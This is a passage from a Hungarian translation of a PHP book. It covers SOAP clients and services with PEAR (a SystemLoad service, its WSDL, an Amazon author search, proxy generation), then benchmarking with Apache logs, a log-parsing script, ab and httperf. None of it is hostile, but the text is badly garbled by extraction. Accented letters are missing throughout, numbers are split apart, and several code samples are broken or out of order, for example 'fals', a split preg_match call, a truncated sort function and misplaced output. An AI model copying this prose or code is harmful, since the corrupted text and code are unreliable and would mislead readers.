rdemes megjegyeznnk, hogy semmi sem kti a SOAP-ot a HTTP protokollhoz, s vlaszt sem kell felttlenl visszaadnia. Ez egy rugalmas, ltalnos cl protokoll, melynek a HTTP felett mkd RPC csak egyik megvalstsa. A WSDL fjl arrl tjkoztat, hogy milyen szolgltatsok rhetk el, s ezt hogyan s hogyan frhetnk hozzjuk. A krelmet s a vlaszt ezutn a SOAP valstja meg. Szerencsre a PEAR SOAP osztlyai elvgzik a munka nagyobb rszt. Egy SOAP krelem kiadshoz elszr egy j SOAP_Client gyflobjektumot kell ksztennk, s t kell adnunk a WSDL fjlt az elrni kvnt szolgltatsokkal. A SOAP_Client ezutn elkszti az sszes szksges helyettes kdot a kzvetlenl vgrehajtott krelmekhez, legalbbis olyan esetekben, amikor az adatok mind egyszer Schema tpusoknak feleltethetk meg. Az albbiakban bemutatunk egy teljes gyflkrelmet az xmethods.net tzsdei szolgltatshoz: require_once "SOAP/Client.php"; $url = "http://services.xmethods.net/soap/ urn:xmethods-delayed-quotes.wsdl"; $soapclient = new SOAP_Client($url, true); $price = $soapclient->getQuote("ibm")->deserializeBody () ; print "Current price of IBM is $price\n"; A SOAP_Client ezutn tvllalja a helyettes objektum ksztsnek terht, mellyel kzvetlenl futtathatjuk a WSDL-ben megadott tagfggvnyeket. A getQuote () hvst kveten a rendszer kicsomagolja az eredmnyt, s a PHP sajt tpusaiba rja a deserializeBody () segtsgvel. A futtatskor az albbi eredmnyt kapjuk: > php delayed-stockquote.php Current price of IBM is 9 0 . 2 5

A sysem.load trsa SOAP szolgltatss


SOAP programozi tudsunkat nyomban prbra is tehetjk - ksreljk meg SOAP alatt megvalstani az XML-RPC system. load szolgltatst. Elszr is, SOAP szolgltatsunkat a SOAP_Service klnleges cl vltozataknt kell megvalstanunk. Ehhez legalbb az albbi ngy fggvny megvalstsra szksg van: public static f unction getSOAPServiceNamespace () {> - Vissza kell adnunk az ltalunk meghatrozott szolgltats nvtert. public static function getSOAPServiceName () { } - Vissza kell adnunk szolgltatsunk nevt. public static function getSOAPServiceDescription () { } - Vissza kell adnunk szolgltatsunk lerst egy karakterlnc alakjban. public static function getWSDLURI () {} - Vissza kell adnunk a szolgltatst ler WSDL fjl URL-jt. Ezeken fell termszetesen meg kell hatroznunk sajt tagfggvnyeinket is.

444

PHP fejleszts felsfokon

me az j SOAP SystemLoad megvalsts osztlynak meghatrozsa: require_once 'SOAP/Server.php'; class ServerHandler_SystemLoad implements SOAP_Service { public static function getSOAPServiceNamespace() { return 'http://example.org/SystemLoad/'; } public static function getSOAPServiceName() { return 'SystemLoadService'; } public static function getSOAPServiceDescription() { return 'Return the one-minute load avergae.'; } public static function getWSDLURI() { return 'http://localhost/soap/tests/SystemLoad.wsdl'; } public function SystemLoad() { $uptime = "uptime";

if(preg_match("/load averages?: ( [ \ d . ] + ) / " , return array( 'Load' => $matches[1]);


} } }

$uptime,

$matches))

Az XML-RPC-tl eltren a SOAP_Service tagfggvnyek paramtereiket hagyomnyos PHP vltozk alakjban kapjk meg. Visszatrskor mindssze a vlaszzenet patamtereinek tmbjt kell megadnunk. A nvterek vlasztsnl szabad kezet kapunk, de a rendszer ellenrzi azokat a megadott WSDL fjl alapjn, gy egymssal sszhangban kell legyenek. Ha meghatroztunk egy szolgltatst, az XML-RPC-hez hasonlan be kell jegyeztetnnk. A kvetkez pldban ksztnk egy j SOAP_Server objektumot, csatoljuk az j szolgltatst, s utastjuk a kiszolglpldnyt a bejv krelmek kezelsre: $server = new SOAP_Server; $service = new ServerHandler_System_Load; $server->addService($service); $server->service('php://input'); Van teht egy teljes rtk kiszolglnk, de nincs mg meg a WSDL fjl, melybl az gyfelek megtudhatnk, hogyan frhetnek hozz ehhez a kiszolglhoz. Ennek elksztse nem nehz feladat - csak sok idbe telik. Lssuk, milyen eredmnyre szmthatunk: <?xml version='1.0' encoding='UTF-8'?> <definitions name='SystemLoad' targetNamespace='http://example.org/SystemLoad/' xmlns:tns='http://example.org/SystemLoad/'

16. fejezet RPC: Egyttmkds tvoli szolgltatsokkal

445

xmlns:soap='http://schemas.xmlsoap.org/wsdl/soap/' xmlns:xsd='http://www.w3.org/2 001/XMLSchema' xmlns:soapenc='http://schemas.xmlsoap.org/ soap/encoding/' xmlns:wsdl='http://schemas.xmlsoap.org/wsdl/' xmlns='http://schemas.xmlsoap.org/wsdl/'> <message name='SystemLoadResponse'> <part name='Load' type='xsd:float'/> </message> -cmessage name= ' SystemLoadRequest' /> <portType name='SystemLoadPortType'> coperation name= ' SystemLoad'> <input message='tns:SystemLoadRequest'/> <output message='tns:SystemLoadResponse'/> </operation> </portType> <binding name='SystemLoadBinding' type='tns:SystemLoadPortType'> <soap:binding style='rpc' transport='http://schemas.xmlsoap.org/soap/http'/> <operation name='SystemLoad'> <soap:operation soapAction='http://example.org/SystemLoad/'/> <input> <soap:body use='encoded' * namespace='http://example.org/SystemLoad/' encodingStyle='http://schemas.xmlsoap.org/ * soap/encoding/ ' /> </input> <output> <soap:body use='encoded' namespace='http://example.org/SystemLoad/' encodingStyle='http://schemas.xmlsoap.org/ soap/encoding/'/> </output> </operation> </binding> <service name='SystemLoadService'> <documentation>System Load web service</documentation> <port name='SystemLoadPort' binding='tns:SystemLoadBinding'> <soap:address location='http://localhost/soap/tests/SystemLoad.php'/> </port> </service> </definitions>

446

PHP fejleszts felsfokon

Nos, itt nem sok jdonsg bukkant fel. Figyeljk meg, hogy a nvterek egybecsengenek azzal, amit a ServerHandler_SystemLoad-nl lthattunk, tovbb a SystemLoad prototpusa szerint egy Load nev lebegpontos szmmal tr vissza. A szolgltatshoz tartoz gyfl hasonlt a tzsds pldban ltotthoz:
include("SOAP/Client.php"); $url = "http://localhost/soap/tests/SystemLoad.wsdl"; $soapclient = new SOAP_Client($url, true); $load = $soapclient->SystemLoad()->deserializeBody () ; print "One minute system load is $load\n";

Amazon webszolgltatsok s sszetett tpusok


A SOAP egyik legnagyobb elnye az XML-RPC-vel szemben, hogy tmogatja a felhasznlk ltal meghatrozott tpusokat, melyeket a Schema segtsgvel kszthetnek el s ellenrizhetnek. A PEAR SOAP-megvalstsa pedig kpes automatikusan trni e sajt vltozkat a PHP tpusaira. Mindennek bemutatsra lssuk, miknt kereshetnk meg egy szerzt az Amazon. com webszolgltatsi API-jval. Az Amazon nagy hangslyt fektet webszolgltatsainak megfelel mkdsre, s elrhetv teszi minden keressi lehetsgt a SOAP-on keresztl. Az Amazon API hasznlathoz fejlesztknt kell bejegyeztetnnk magunkat az Amazon webhelyn, awww.amazon.com/gp/aws/landing.html cmen. Ha belepillantunk az Amazon WSDL fjljba, lthatjuk, hogy a szerz keressnek mvelete az albbi blokkban tallhat (http: //soap.amazon. com/schemas2/AmazonWebServices. wsdl): <operation name="AuthorSearchRequest"> <input message="typens:AuthorSearchRequest" /> <output message="typens:AuthorSearchResponse" /> </operation> A kimeneti s bemeneti zenetek tpust itt az albbiak szerint hatrozzk meg: <message name="AuthorSearchRequest"> <part name="AuthorSearchRequest" type="typens:AuthorRequest" /> </message>
s

<message name="AuthorSearchResponse"> <part name="return" type="typens:ProductInfo" /> </message>

16. fejezet RPC: Egyttmkds tvoli szolgltatsokkal

447

Mindkett sajt, a Schema-ban meghatrozott tpus. me az AuthorRequest tpusos meghatrozsa: <xsd:complexType <xsd:all> <xsd:element <xsd:element <xsd:element <xsd:element <xsd:element <xsd:element <xsd:element <xsd:element <xsd:element </xsd:all> </xsd:complexType> name="AuthorRequest"> name="author" type="xsd:string" /> name="page" type="xsd:string" /> name="mode" type="xsd:string" /> name="tag" type="xsd:string" /> name="type" type="xsd:string" /> name="devtag" type="xsd:string" /> name="sort" type="xsd:string" minOccurs="0" /> name="variations" type="xsd:string" minOccurs="0" /> name="locale" type="xsd:string" minOccurs="0" />

Ahhoz, hogy ezt a tpust PHP-ben is megjelenthessk, ksztennk kell egy erre a clra szolgl osztlyt, amely a SchemaTypelnf o felletet is megvalstja. Ehhez kt mveletet kell megrnunk: public static function getTypeName () { } - Visszaadja a tpus nevt. public static function getTypeNamespace () { } - Visszaadja a tpus nvtert. Esetnkben az osztly egyszeren a tulajdonsgok troljaknt viselkedik. Mivel ezek a Schema alaptpusai, nincs szksg tovbbi erfesztsre. Lssuk teht az AuthorRequest burkolosztlyt: class AuthorRequest implements SchemaTypelnfo { public $author; public $page; public $mode; public $tag; public $type; public $devtag; public $sort; public $variations; public $locale; public static { return public static { return
}

function getTypeName() 'AuthorRequest';} function getTypeNamespace() 'http://soap.amazon.com';}

448

PHP fejleszts felsfokon

A szerz szerinti keress megvalstshoz elszr ksztennk kell egy SOAP_Client helyettes objektumot az Amazon WSDL fjlbl: require_once 'SOAP/Client.php'; $url = 'http://soap.amazon.com/schemas2/AmazonWebServices.wsdl'; $client = new SOAP_Client($url, true); Ezutn hozzunk ltre egy AuthorRequest objektumot, s tltsk fel a keress adataival: $authreq = new AuthorRequest; $authreq->author = 'schlossnagle'; $authreq->mode = 'b o ok s '; $authreq->type = 'l i t e 1 ; $authreq->devtag = 'DEVTAG';

Az eredmnyt a ProductInfo tpusban kapjuk vissza, ami tlzottan sszetett ahhoz, hogy a felptsvel itt foglalkozzunk. Mindazonltal az albbi rvid kddal gyorsan utnajrhatunk, mely knyvek szerzit hvtk Schlossnagle-nek: $result = $client->AuthorSearchRequest($authreq)->deserializeBody(); Futtatsa utn az albbi eredmnyt kapjuk: foreach ($result->Details as $detail) { print "Title: $detail->ProductName, ASIN:
}

$detail->Asin\n";

Helyettes kd ksztse
Nem nehz feladat olyan kdot rni, ami dinamikusan elkszti a helyettes (proxy) objektumokat a WSDL-bl, de ez a folyamat meglehetsen sok rtelmezsi munkval jr, amit jobb elkerlni, klnsen, ha egy webszolgltatst gyakran hvnak. A SOAP WSDLkezelje kpes elkszteni a PHP kdot, gy kzvetlenl is lebonyolthatjuk a hvsokat, anlkl, hogy jra s jra t kellene vizsglni a WSDL fjlt. A helyettes kd elksztsnek rdekben tltsk be az URL-t az MSDLManager: : get () tagfggvnnyel, s hvjuk meg a generateProxyCode () fggvnyt. Mindezt most a SystemLoad WSDL fjl pldjn mutatjuk be: Title: Advanced PHP Programming, ASIN: 0672325616

16. fejezet RPC: Egyttmkds tvoli szolgltatsokkal

449

A futtats utn az albbi kdhoz jutunk: require_once 'SOAP/WSDL.php'; $url = "http://localhost/soap/tests/SystemLoad.wsdl"; $result = WSDLManager::get($url) ; print $result->generateProxyCode(); Mostantl a WSDL fjl rtelmezse helyett kzvetlenl ezt az osztlyt hvhatjuk: class WebService_SystemLoadService_SystemLoadPort extends SOAP_Client
{

public function _____ construct()


{

parent: :__ construct("http://localhost/soap/tests/ SystemLoad.php" , 0); } function SystemLoad() { return $this->call("SystemLoad", $v = array(), array('namespace'=>'http://example.org/SystemLoad/', 1soapaction'=>'http://example.org/SystemLoad/', 'style'=>'rpc', 'use'=>'encoded' )) ; } }

A SOAP s az XML-RPC sszehasonltsa


Melyik RPC protokollt alkalmazzuk - a SOAP vagy az XML-RPC mellett tegyk le voksunkat? Nos, sok esetben a krlmnyek nem hagynak tlzottan nagy mozgsteret. Ha olyan szolgltatst valstunk meg, ami meglev gyfelekkel vagy kiszolglkkal rintkezik, elvesztjk a dnts lehetsgt. gy a SOAP fellet hasznlata webnaplnkban rdekes ksrlet lehet, de valsznleg nem kpes egyttmkdni ms, mr eleve meglev eszkzkkel. Ha az Amazon vagy a Google API-jaival szeretnnk egyttmkdni, ismt csak egyrtelm a vlasz: a SOAP-ot kell hasznlnunk. Ha azonban j szolgltatst teleptnk, s szabad kezet kapunk a vlasztsban, az albbiakat rdemes megfontolnunk: A megvalsts szemszgbl nzve az XML-RPC sokkal kevesebb kezdeti erfesztst ignyel, mint a SOAP. Az XML-RPC kisebb dokumentumokat kszt, melyek rtelmezse kevsb kltsges, mint a SOAP-pal ksztettek.

450

PHP fejleszts felsfokon

A SOAP lehetv teszi a Schema segtsgvel meghatrozott sajt tpusok hasznlatt. Ez mdot ad az adatok rvnyessgnek hatkonyabb ellenrzsre, valamint az automatikus tpustalaktsra az XML s a PHP kztt. Az XML-RPC-ben mindenfle sszetettebb adatcsomagolst kzzel kell elvgeznnk. A WSDL nagyszer eszkz. A SOAP automatikus feldertsi s helyetteskd-ksztsi kpessgei jobbak az XML-RPC-ben elrhetknl. A SOAP jelents tmogatst kap az IBM-tl, a Microsofttl, valamint szmos, a sikerben rdekelt internetes vllalattl. Mindez azt jelenti, hogy e cgek a mltban s a jvben is jelents anyagi erforrsokat s idt szentelnek arra, hogy javtsk a SOAP egyttmkdsi kszsgt s a SOAP-hoz ktd segdeszkzket fejlesszenek. A SOAP ltalnos, bvthet eszkz, mg az XML-RPC clirnyos protokoll, viszonylag merev meghatrozssal. Az XML-RPC-t vonzan egyszer megoldsnak tartom olyankor, amikor a megvalstand RPC mindkt oldala felett befolysom van. Ilyen esetekben a helyes automatikus felderts s a helyettes kd ksztsnek hinya nem okoz fejfjst. Ha azonban olyan szolgltatst teleptek, melyet msok is tmogatnak, mindenkppen a SOAP vlasztst tartom jobbnak szleskr tmogatottsga s hatkony segdeszkzei miatt.

Tovbbi olvasmnyok
A tvoli szolgltatsokkal val egyttmkds tmakre igen szles, sokkal szlesebb annl, mint amennyit e fejezet tfogni kpes. A SOAP klnsen rdekes, fejld szabvny; maga is megrdemelne egy kln knyvet. A kvetkezkben nhny hasznos forrsmunkt mutatunk be, tmakrk szerint csoportostva.

SOAP
A SOAP lersa megtallhat a http: //www.w3 .org/TR/SOAP/ cmen. A http: //www. soapware.org/bdg nagyszer bevezetst ad a SOAP hasznlatba. Shane Caraveo webszolgltatsokrl adott eladsainak anyaga a http: //talks .php.net cmen segt megrteni, mi szksges a SOAP sikeres hasznlathoz a PHP-ben. J tudnunk, hogy Shane a PHP 5 SOAP-megvalstsnak vezet fejlesztje.

XML-RPC
Az XML-RPC lersa megtallhat a http: //www.xmlrpc .com/spec cmen. Dave Winer, az XML-RPC megalkotja egy kellemes bevezet rst a kvetkez cmen lelhetjk meg: http: //davenet. scripting.com/19 9 8/07/14/xmlRpcForNewbies.

16. fejezet RPC: Egyttmkds tvoli szolgltatsokkal

451

Webnaplzs A Blogger API lerst a http: //www.blogger. com/developers/api/l_docs cmen tallhatjuk meg. A MetaWeblog API lersa a http: / /www.xmlrpc . com/metaWeblogApi cmen tallhat. A MovableType bvtmnyeket knl mind a MetaWeblog, mind a Blogger API-hez. Lersuk a http://www.movabletype.org/docs/mtmanual_programmatic.html cmen megtallhat. Az RSS egy nylt XML formtum tartalom-kzzttelhez. Lerst a http: //blogs . law.harvard. edu/tech/rss cmen lelhetjk meg. Az XML-RPC pldinkban szerepl Serendipity webnaplz rendszer a http: //www. s9y.org cmen rhet el. Nyilvnosan elrhet webszolgltatsok A http: / /xmethods . net kifejezetten a webszolgltatsok fejlesztshez (elssorban a SOAP s a WSDL alkalmazsokhoz) nyjt segtsget. Itt ingyenesen elrhet webszolgltatsok garmadjt tallhatjuk, a szerkesztk pedig az egyttmkdsi kpessgek prbra ttelre hvnak fel. Az Amazon rendelkezik egy szabad SOAP fellettel. A rszletekrl a http: //www. amazon.com/gp/aws/landing.html cmen rdekldhetnk. A Google is rendelkezik szabad SOAP keresfellettel. Errl a http: / /www. google. com/apis cmen olvashatunk.

Teljestmny

Teljestmnymrs: teljes alkalmazsok tesztelse


Az alkalmazsok teljestmnynek mrse nehz feladat. Szksg van egy profilksztre, klnbz belltscsoportokkal kell futtatsokat vgeznnk, s gyakran a kimert elemzs is elengedhetetlen. Nagy, illetve bonyolult programok esetben a profilkszts-hangols ciklusa akr napokig is elhzdhat. A profilkszts olyan, mint a nyomozs - felderteni a gyenge pontokat s elemezni a knyvtrak tulajdonsgt nagyszer jtk. De hol kezdjk a munkt, ha 1000 PHP oldal ll elttnk? Hogyan vizsgljuk meg hatkonyan alkalmazsunk egszsgi llapott"? Ms rszrl, ott van a terhelsvizsglat feladata is. Tegyk fel, hogy projektnk, melyen hat hnapig dolgoztunk, csaknem elkszlt, fnknk pedig azt kveteli, hogy a rendszer kpes legyen megfelelni 1000 felhasznl terhelsnek. Miknt biztosthatjuk, hogy valban elegend lesz a kapacits? Hogyan fedezzk fel a szk keresztmetszeteket, mieltt lesben kellene alkalmaznunk mvnket? Ezekre a kihvsokra sajnos tl sok fejleszt vlaszol a prba-szerencse mdszernek alkalmazsval. Persze esetenknt az ilyen mdszerek is lehetnek eredmnyesek - sok fejleszt cg rendelkezik olyan szakemberrel, aki ms versenytrsaknl 10-szer vagy akr 100-szor nagyobb hatkonysggal derti fel a hibkat, de mg gy is csak a gondok egytizedre akadnak r. Ismerem ezt a vilgot - magam is ilyen fejleszt voltam. rtettem az alkalmazs mkdst, s nem is voltam buta fick. Ha adtak egy nap gondolkodsi idt, s kedvemre prblgathattam, szmos olyan feladatot megoldottam, ami ms fejlesztkn kifogott. Mindez meglehets tiszteletet vvott ki szmomra a kollgk kztt - legalbbis sokan csodltk ezt a majdhogynem misztikus kpessgemet a gondok forrsnak megtallsra.

456

PHP fejleszts felsfokon

Trtnetem clja azonban nem az, hogy meggyzzem az Olvast arrl, milyen nagyszer kpessgekkel rendelkezem - valjban a cl ppen ennek ellenkezje. Mdszereim ugyanis meglehetsen esetlegesek s kevss clzottak voltak. Mg ha okosan gondolkodtam is, a megfelel teljestmnymrsi eljrsok sokkal gyorsabban rvilgtottak volna a gondok gykereire - radsul mindezt valsznleg nlam jval hatkonyabban tettk volna. Az alkalmazs teljestmnynek mrse nagylptk vizsglatot jelent - az albbi lehetsgekkel: A szolgltatsok kapacitstervnek sszelltsa. A proflksztst s teljestmnyhangolst ignyl oldalak feldertse. Az alkalmazs egszsgnek" megrtse. Az alkalmazs teljestmnyvizsglata nem mutat r az egyes javtand kdrszletekre. Ha meghatroztuk a komolyabb vizsglatot ignyl oldalak listjt, ezek elemzst mr a 19. fejezet mdszereivel vgezhetjk.

A szk keresztmetszetek passzv azonostsa


A nagylptk rendszerek szk keresztmetszetnek azonostsra a legkzenfekvbb mdszere az, ha olyan adatokat vizsglunk meg, melyeket mr begyjtttnk, vagy igen knnyen elrhetk. Az ilyen vizsglatok legegyszerbbike az oldalak letltsi idejnek ttekintse az Apache elrsi napliban. A ltalnos naplformtum nem tartalmaz eltelt id" mezt, de maga a naplz rendszer tmogatja a hasznlatt. Ahhoz, hogy az oldal szolgltatshoz szksges idt is feltntessk (msodpercben), a LogFormat sort a %T belltssal kell kiegsztennk: LogFormat "%h %1 %u %t \ " % r \ " %>s %b \"%{Referer)i\" \"%{User-Agent}i\" %T" combinedplus Ezutn be kell lltanunk az j naplzsi eljrst az j formtummal: CustomLog /var/apache-logs/default/access_log combinedplus Nos, ezzel el is kszltnk. j elrsi naplnk (access log) gy fest:
66.80.117.2 - - [23/Mar/2003:17:56:44 -0500] "GET /~george/index2.php HTTP/1.1" 200 14039 "-" "-" 1 66.80.117.2 - - [23/Mar/2003:17:56:44 -0500] "GET /-george/blog/ HTTP/1.1" 200 14039 "-" "-" 3 66.80.117.2 - - [23/Mar/2003:17:56:44 -0500]

17. fejezet Teljestmnymrs: teljes alkalmazsok tesztelse

457

"GET /-george/examples/ HTTP/1.1" 2 0 0 14039 " -" " - " 0 6 6 . 8 0 . 1 1 7 . 2 - - [ 2 3 / M a r / 2 0 0 3 : 1 7 : 5 6 : 4 4 -0 5 0 0 ] "GET /~george/index2.php HTTP/1.1" 2 0 0 14039 "-" "-" 1 6 6 . 8 0 . 1 1 7 . 2 - - [ 2 3 / M a r / 2 0 0 3 : 1 7 : 5 6 : 4 4 -0 5 00 ] "GET /-george/ HTTP/1.1" 2 0 0 14039 "-" "-" 1 66 . 80. 117 . 2 - - [ 2 3 / M a r / 2 0 0 3:1 7:5 6 :4 4 -0500] "GET /-george/blog/ HTTP/1.1" 2 0 0 14039 "-" "-" 2 66 . 80 . 11 7. 2 - - [2 3 / M a r / 20 0 3:1 7 :5 6 :4 4 -0500] "GET /-george/blog/ HTTP/1.1" 2 0 0 14039 "-" " -" 1 6 6 . 8 0 . 1 1 7 . 2 - - [ 2 3 / M a r / 2 0 0 3 : 1 7 :5 6 : 4 7 -0 5 0 0 ] "GET /~george/php/ HTTP/1.1" 2 0 0 1149 "-" " -" 0 Az oldal ksztshez szksges id a bejegyzs utols mezjben tallhat meg. E bejegyzsek kzvetlen tnzse nyilvn csak olyan esetekben vezet eredmnyre, ha egy oldallal igen slyos gondok vannak - egybknt azonban nem sok kvetkeztetst vonhatunk le a kapott adatokbl a minta kis mrete miatt. Ez ellen persze knnyen tehetnk, csak futtassuk a naplzt nhny rn keresztl, s elemezzk az eredmnyt ezutn. Nagyobb statisztikai mintnl a szmok tbbet mondanak. Ha elegend adat gylt ssze, elemzsket az albbi programmal is elvgezhetjk: #!/usr/local/bin/php ################## # parse_logs.php # ################## <?php $input = $_SERVER['argv'][1]; $fp = fopen($input, "r"); // a ltalnos naplformtum illesztse egy kiegszt id" paramterrel $regex = '/A(\S+) (\S+) (\S+) \[([":]+):(\d+:\d+:\d+) ( ["\]]+)\] ' . ' "(\S+) (.*?) (\S+)" (\S+) (\S+) (\S+) (\S+) (\d+)$/'; while(($line = fgets($fp)) ! == fals) { preg_match($regex, $line, $matches); $uri = $matches[8]; $time = $matches[12]; list($file, $params) = explode('?',$uri, 2); $requests[$file][] = $time; $requests[$file] ['count']++; // tlag kiszmtsa $requests[$file]['avg'] = ($requests[$file]['avg']*($requests[$file]['count'] - 1) + $time)/$requests[$file]['count']; }

458

PHP fejleszts felsfokon

// sajt rendez fggvny az tlagos elrsi idk // alapjn trtn rendezsre $my_sort = create_function('$a, $b', ' if($a[avg] == $b[avg]) { return 0; } else {

return ($a[avg] > $b[avg]) ? 1 : -1; uasort($requests, $my_sort); reset($requests); foreach($requests as $uri => $times) { p r i n t f ( " % s %d % 2 . 5 f \ n " , $uri,
} ?>

$times['count'],

$times['avg']);

A programot a kvetkezkppen futtathatjuk: parse_logs.php /var/apache-logs/www.schlossnagle.org/access_log Ezzel hozzjutunk a krelmezett URL-ek tlagos letltsi id szerint rendezett listjhoz: /~george/images/fr4380620.JPG 105 0.00952 /~george/images/mc4359437.JPG 7 6 0.01316 /index.rdf 36 0.02778 /-george/blog/index.rdf 412 0. 03 641 /-george/blog/jBlog.ess.php 141 0.04965 /-george/blog/archives/000022.html 19 0 . 0 5 26 3 /~george/blog/rss.php 18 0 . 05 5 5 6 /-george/blog/jBlog_admin.php 8 0 . 1 2 50 0 /~george/blog/uploads/020-20d.jBlogThumb.jpg 48 /-george/blog/ 2 96 0. 14865

0.14583

Terhelskpzk
Az oldalak jellemzinek vizsglatra nem igazn j az a mdszer, melyben egy lesben mkd rendszerben kell vrnunk arra, hogy a megfelel krlmnyek ellljanak. Sok esetben nem clszer mlyrehat vizsglatokat vgezni egy ppen mkd, feladatt vgz kiszolgln. Mskor pedig szksg van arra, hogy nagyobb mrtkben terheljnk meg egy webhelyt, mint az szoksosan elfordul. Annak rdekben, hogy szksg esetn biztostani tudjuk a forgalom kvnt jellemzit, terhelskpzket (load genertor) alkalmazhatunk. Kt tpusuk ismeretes: a mestersges s a valsgh terhelskpzk. Az elbbiek nem fordtanak klnsebb figyelmet arra, hogy utnozzk a rendes hasznlat krlmnyeit - inkbb lland s knyrtelen krelemznnel bombznak egy vagy tbb oldalt.

17. fejezet Teljestmnymrs: teljes alkalmazsok tesztelse

45

A mestersges terhelskpzk hasznosak lehetnek, ha egyes oldalakat vizsglunk, de nem alkalmasak a teljes webhely kapacitsnak meghatrozsra, illetve olyan rejtett szk keresztmetszetek kiszrsre, melyek csak letszer helyzetekben jelennek meg. Ilyen esetekben van szksg valsgh terhelskpzkre, melyek visszajtszknt is ismeretesek, hiszen legtbbszr naplfjlok lekrdezsi mintzatt jtsszk vissza idztett folyamatknt. ab A mestersges terhelskpzk legegyszerbbike az ApacheBench, vagy ab, melyhez hozzjutunk az Apache kiszolglval. Ez egy egyszer tbbszlas teljestmnymr eszkz, amely megadott srsgben s egyidejsggel leadott krelmekkel bombz egy adott URL-t. Persze igazsgtalanok vagyunk, ha az ab-t egyszer" eszkznek nevezzk, hiszen rengeteg igen izgalmas lehetsggel rendelkezik. me egy prbafuttats eredmnye, melyben webnaplmat 10 000 krelem rte, 100-as egyidej csoportokban: > /opt/apache/bin/ab -n 1000 -c 100 http://localhost/~george/blog/index.php This is ApacheBench, Version 1.3d <$Revision: 1.65 $> apache-1.3 Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Copyright (c) 1998-2002 The Apache Software Foundation, http://www.apache.org/ Benchmarking www.schlossnagle.org (be patient) Completed 100 requests Completed 200 requests Completed 300 requests Completed 400 requests Completed 500 requests Completed 600 requests Completed 700 requests Completed 800 requests Completed 900 requests Finished 1000 requests Server Software: Apache/1.3.2 6 Server Hostname: www.schlossnagle.org Server Port: 80 Document Path: Document Length: Concurrency Levl: Time taken for tests: Complete requests: Failed requests: /-george/blog/index.ph 33086 bytes 100 41. 792 seconds 1000 0

460

PHP fejleszts felsfokon

Broken pipe errors: Non-2xx responses: Totl transferred: HTML transferred: Requests per second: Time per request: Time per request: Transfer rate: Connection Times (ms) Connect: Processing: Waiting: Totl: Percentage 50% 66% 75% 80% 90% 95% 98% 99% 100%

0 0 33523204 bytes 3 3 0 8 4 2 0 4 bytes 2 3 . 9 3 [ # /se c ] (mean) 4 1 7 9 . 2 0 - (mean) 4 1 .7 9 - (mean, across all concurrent requests) 8 0 2 .1 4 [Kbytes/sec] received

min mean[+/-sd] 38 92 .6 585 3 9 4 4 736 .9 432 3 9 4 3 73 8 .1 585 3 9 8 2 686.9 0

median max 1 336 4 0 6 6 10601 4 0 6 6 10601 4 0 8 7 10601

of the requests served within a certain time (ms) 4087 4211 4284 4334 4449 4579 4736 4847 10601 (last request)

Naplm majdnem 24 krelmet volt kpes kiszolglni msodpercenknt, ami krelmenknt 41,79 ezredmsodperces idrfordtst jelentett - ebbl 39,43 vrakozssal telt el (ami durvn a krelem kezelsnek felel meg az alkalmazsban). Az alapvet lehetsgek mellett az ab tmogatja sajt fejlcek kldst, stik hasznlatt, az egyszer HTTP hitelestst, valamint a POST adatokat. httperf Ha az ab-nl szlesebb kr lehetsgekre vgyunk, nagyszer vlaszts lehet a httperf, melyet Dvid Mosberger jegyez a Hewlett Packard Research Labs-tl. Ez a hatkony eszkz kpes megfelelni a nagy adatforgalom ignyeinek, tmogatja a HTTP 1.1 protokollt s knnyen bvthet - igazndibl utbbi kt tulajdonsgban klnbzik lnyegben az ab-tl. Hasznlata mindenkppen jl jhet, ha olyan viselkedst kvnunk vizsglni, amely tartalomtmrtst vagy ms, a HTTP 1.l-ben megjelent lehetsget hasznl. A korbbi vizsglathoz hasonlt a httperf segtsgvel az albbiak szerint vgezhetnk: > httperf -~client=0/l --server=localhost --port=80 --uri=/~george/blog/index.php

17. fejezet Teljestmnymrs: teljes alkalmazsok tesztelse

461

--rate=40 --send-buffer=4096 --recv-buffer=16384 --num-conns=100 --num-calls=l Totl: connections 1000 requests 1000 replies 1000 test-duration 50.681 s Connection rate: 19.7 conn/s ( 5 0 . 7 ms/dconn, <=421 concurrent connections) Connection time -: min 274 avg 8968 max 33513 median 6445 stddev 6340 Connection time -: connect 2 5 9 6 . 0 Connection length [replies/conn]: 1. 000 Request rate: 19.7 req/s Request size [B]: 93.0 ( 5 0 . 7 ms/req) avg 19.8 max 2 5 . 8 stddev 8.4 transfer 2 6 2 . 8 content 3 3 0 8 4 . 0 footer 2.0 3xx=0 4xx=0 5xx=0 (user 1 . 3% system 27.1%

Reoly rate [replies/s]: min 1.2 (10 samples) Reply time -: response 6110.0 Reply size [B]: header 4 6 0 . 0 (totl 3 3 5 4 6 . 0 ) Reply status: lxx=0 2xx=1000

CPU time [s]: user 0.64 system 13.71 totl 2 8 . 3 % ) Net I/O: 648.2 KB/s (5.3*10^ 6 bps)

Errors: totl 0 client-timo 0 socket-timo 0 connrefused 0 connreset 0 Errors: fd-unavail 0 addrunavail 0 ftab-full 0 other 0 A httperf egyik hasznos tulajdonsga, hogy lehetv teszi tbb terhelskpz hasznlatt is. Az elz pldban az alaprtelmezett, rgztett URL alap terhelskpzt mutattuk be, amely csak egyetlen URL-t r el. Emellett azonban rendelkezsnkre ll egy napl alap terhelskpz s munkamenet-szimultor, valamint egy valsgh adatkpz.
A napl alap terhelskpz

Ez a terhelskpz krelmek egy sorozatt kldi egy fjlban meghatrozott URL-ekre. Ezt a fjlt a -wlog=loop, fil kapcsolval adhatjuk meg, ahol a loop egy y/n (igen/nem) rtk, mellyel azt llthatjuk be, hogy a program visszaugorjon-e a fjl (fil) elejre, amennyiben a vgre rt. Az -uri kapcsolval megadott URI-t a program minden URL el betoldja. me egy plda, melyben az URL-eket a /tmp/urllist naplbl olvassuk be: httperf --client=0/l --server=www.schlossnagle.org --port=80 -wlog=y,/tmp/urllist --rate=40 --send-buffer=4096 --recv-buffer=16384 ~-num-conns=100 --num-calls=l Az URL lista elemeit ASCII null karakterekkel (chr (0)) kell elvlasztanunk egymstl.

462

